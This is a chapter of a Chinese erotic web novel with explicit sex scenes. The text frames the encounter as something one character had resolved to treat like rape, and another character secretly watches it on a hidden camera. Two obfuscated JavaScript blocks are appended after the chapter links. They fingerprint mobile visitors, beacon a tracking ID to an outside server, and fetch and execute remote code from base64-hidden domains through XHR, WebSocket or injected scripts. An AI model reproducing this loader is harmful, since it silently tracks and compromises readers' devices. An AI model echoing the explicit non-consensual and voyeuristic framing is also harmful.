“色狼,我、我又要来了……”

在长达半个小时的抽送后,雪妮的身躯再次僵硬,并伴随着热情无比的呻吟声,四肢紧紧缠上张俊的身体。

“老婆,我也要来了……”

即使有着充分的滋润,雪妮的嫩穴依旧紧窒难行,并剧烈地收缩着,让张俊有些受不了,龟头狠狠一顶,甚至顶到子宫,感受着阴道内那张弛有力地吸吮,顿时涌起一阵强烈的快感。

张俊低吼一声,感觉到腿根一阵僵硬,立刻抱住雪妮的小蛮腰,然后开始疯狂地抽插着,那如打桩机般的速度快得让雪妮不由得瞪大双眼,这强烈的刺激让她不能自已,只知道啊啊乱叫,小手狠狠掐住张俊的胳膊和后背,留下一道道抓痕,以宣泄那销魂蚀骨的感觉。

“啊!死、死了……”

雪妮的呻吟气若游丝,全身浮现一抹迷人的红晕,眉头紧皱,小手使劲地掐着张俊。

“老婆,我也来了……”

雪妮剧烈地抽搐着,蜜穴内射出滚烫的爱液时,张俊也控制不住体内的欲望,前列腺剧烈地跳动着,全身爽得近乎僵硬,随即闷吼一声,抓住雪妮的小蛮腰狠狠一顶,硕大的龟头抵上跳动的子宫,瞬间脑中一片空白,在阵阵的抽搐中,马眼一开,滚烫的精液有力地射到雪妮的子宫内。

“呜……色狼……”

雪妮如啜泣般呻吟着,然后猛地抱住张俊,啊啊发出大叫,并大口大口的喘息着,浑身都是香汗。

“啊……”

张俊发出如野兽般的低吼,享受与雪妮一起达到巅峰的快感,然后倒在她的身上,闭着眼睛、喘着粗气,沉浸在无比的愉悦中。

在火热的空气中,男女分泌物的味道分外刺鼻,肉体与肉体相撞的啪啪声、男人低吼与女人的呻吟,随后变成彼此陶醉的喘息和心跳,一起迎来高潮的两人紧紧抱在一起,久久无法言语。

此时,雪妮像只温顺的小猫般待在张俊的怀里,甚至连抬手指的力气都没有,似乎还沉浸在美妙的高潮中。

“宝贝,还疼吗?”

良久过后,张俊两人的喘息渐渐平稳下来,张俊觉得身体有点发软,于是撑起身体,慢慢把逐渐软化的命根子从雪妮的体内抽出来。

当张俊的龟头一离开,雪妮的蜜穴又变回一道可爱的小肉缝,精液、爱液伴随着血丝缓缓流出来,眼前这荒淫至极的画面,让张俊感到十分满足。

雪妮低低呻吟一声,眼带撒娇地白了张俊一眼,压低声音问道:“你要回去了?”

“回去?”

张俊有点摸不着头绪,看着刚被他采摘的小处女,那娇艳欲滴的模样,玉体横陈实在诱人。尽管对今晚的艳遇有些疑问,但看着雪妮那哀怨的眼神,却怎么也挪不开眼睛。

“不用回去陪你那个妈妈吗?”

不知道为什么,雪妮惊讶地发现她竟然有点吃醋。她本以为,这一夜对她来说不过只是场噩梦,就当作被人强奸就算了;没想到激情过后,她的心里却升起一股异样的感觉,她似乎再也无法讨厌张俊,心中五味杂陈,让她有些心乱如麻。

“不用了吧……”

张俊听雪妮的语气中似乎有些吃醋,这才想起她知道他和陈玉莲的好事,心里虽然有点尴尬,但也有点开心,可一时之间也不知道该怎么处理这种情况,只能将她抱在怀里安抚着。

雪妮不满地哼了一声,别过身子不理会张俊。

“秦霜今天不会回来吧?”

张俊揉弄着雪妮的乳房,亲吻她那发烫的小脸,直到雪妮的身躯再次酥软无力,才在她的耳边淫荡地问道。

“应该不会回来吧!”

雪妮顿时浑身一颤,声音比蚊子还小,而一想起秦霜,心中不禁感到不安:这一夜销魂的过程都被别人监视着!想到这里,雪妮的小脸顿时如火烧般滚烫,一方面想到李欣然的窥视,另一方面又担心秦霜的安全,脸上顿时愁云惨雾。

“那我今晚在这里陪你,抱你一个晚上,好不好?”

现在张俊说起情话可是信手拈来,他一边在雪妮的身上上下其手,一边不客气地用渐渐硬挺的命根子顶住雪妮的嫩臀,挑逗似的开始磨蹭着。

“不怕霜姐的话,就随便你……”

雪妮浑身一酥,白了张俊一眼,原本瞋怪的话到了嘴边却说不出口。

“开玩笑!我怕她干什么?”

张俊觉得莫名其妙,心想:我和别的女人上床关她什么事?尽管雪妮是她的下属,但那悍妞难不成蛮横到连人家的私生活都要干预?

“没什么,以后你就知道了……”

雪妮言词闪烁着,而看张俊一头雾水,似乎不知道政治婚姻的事情,心里不免感到有些失落,说道:“你答应我,千万不能把我们的事告诉霜姐。”

“为什么不能说?你快说,不然家法伺候……”

张俊好奇心被雪妮勾起,马上抱着她穷追猛打、威胁利诱地逼问着。

“什么家法?”

雪妮的唿吸再次变得急促,眼底浮现水雾,媚眼如丝地白了张俊一眼,娇滴滴地嗔道:“别得了便宜又卖乖!你、你怎么又硬了……”

“嘿嘿,我们的家法就是——鞭刑伺候……”

张俊色眯眯地笑道,然后一手抓住雪妮那雪白的长腿,胯下轻轻一挺,粗大的命根子就抵在雪妮的阴户上。

“作怪……”

雪妮控制不住地呻吟一声,扭了扭臀部让张俊无法插入,然后转身投入张俊的怀里,娇声呢喃道:“先不要,浑身都是汗,难受死了……”

“我们去洗洗。”

在说话的同时,张俊的双手再次摸上雪妮那弹性十足的乳房,爱不释手地揉弄着,感受着其中的弹性。

“嗯。”

雪妮不好意思地低下头,喘息道。

张俊一个横抱,引得雪妮娇羞地惊唿出声,随即张俊得意地大笑着,然后迈着步伐走向浴室。

张俊与雪妮洗了一个春光满室的鸳鸯浴。张俊那涂满沐浴乳的手游走在雪妮身上的每一寸肌肤,令雪妮喘息紊乱,最后甚至在张俊的软硬兼施之下,处女地也被张俊洗得干净无比……

洗完澡后,张俊两人擦干身上的水珠,围着浴巾走出浴室。

随后,雪妮看着张俊忙前忙后地换掉床单时,不知道为什么,心里竟有着阵阵的暖意,甚至眼眶微微泛红。

张俊换好床单后,见雪妮眼眶泛红,不禁温柔地笑笑,上前一把抱住她,然后坐在床上,轻声问道:“怎么了?”

“没、没什么?”

雪妮有一肚子话想说,却又害怕破坏被张俊关怀呵护的气氛,因此即使一肚子的心事到了喉咙,还是狠狠地咽下去。

“嗯,头发湿了,我帮你吹干。”

张俊温柔地笑了笑,然后拿来吹风机。

“我、我自己来就好。”

雪妮一时有点不自在,从小她就独立自主,加上那特殊的成长环境,哪里被人如此温柔地照顾过?一时间她感到有些受宠若惊。

“乖,坐好、听话。”

张俊斩钉截铁地说道,然后不由分说地捧起雪妮刚洗好的雪发,动作温柔地帮她吹起头发。

吹干后的长发柔顺无比,雪妮的心中则有点恍惚,仿佛置身在梦中。

张俊看雪妮那呆若木鸡的模样,不由得有点好笑,低头却看见她那在浴巾包裹下的半露酥胸,心里更是发痒,于是将她抱在怀里然后躺到床上,轻轻一解,那令人疯狂的娇躯再次一丝不挂地展现在他怀中。

“色狼……”

雪妮感觉到张俊那异常坚硬的下身,再看见张俊眼底的欲火,不由得娇哼一声,轻轻啃咬着张俊的胸膛,嗔道:“花心大萝卜……”

雪妮的唿吸再次急促起来,而那浅浅的呻吟仿佛就是最好的调情剂,她开始不安地扭动着娇躯,眼底的妩媚透露出求欢的诱惑,尽管刚破处,她依旧欲望高涨。

张俊一时忍不住体内的欲望,再次趴在雪妮的身上,坚硬的命根子缓缓插进去,随即两人发出满足的叹息声,身体同时颤抖着。

呻吟声充斥着整间房间,雪妮再次扭动着身躯,陷入无尽的缠绵中,顿时满室春光,只剩下肉体与肉体撞击声,男人的低吼、女人的呻吟交织成一首满溢情欲,最原始的乐章……

“臭小子,便宜你了……”

客厅内,李欣然看着电脑萤幕上的肉搏战,酸熘熘地哼了一声。

在安顿好秦霜后,李欣然就又回来看情况,那时正戏早就开始,不由得心想:小俊果然是大色狼,遇到这种莫名其妙的局面,雪妮那小狐狸只是把衣服一脱,小俊还是不顾一切地先上再说……色狼!大色狼!

话说这小妞的身材真不错,扭起来确实好看!李欣然目不转睛地看着电脑萤幕上的香艳肉搏战,越发感觉身体躁热,既吃醋又情动。

而张俊把雪妮抱到浴室的一幕更是让李欣然心里直发酸,羡慕得要命,而且不禁开始幻想:小俊会不会也对我怎么温柔?

在遐想片刻后,李欣然不禁噗哧一笑,开始期待那美妙时刻的来临。

看着自己的男人和其他女人上床,李欣然虽然会吃醋,却也有着一种说不出来的兴奋,她操作电脑好一阵子,却无奈地发现她装了监视器却忘记装窃听器,根本听不到半点声音。

“老娘也有失算的时候……”

李欣然顿时无语。


上一篇:春满香夏-第十四集 第六章 政治婚姻

下一篇:春满香夏-第十四集 第四章 莫名其妙


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};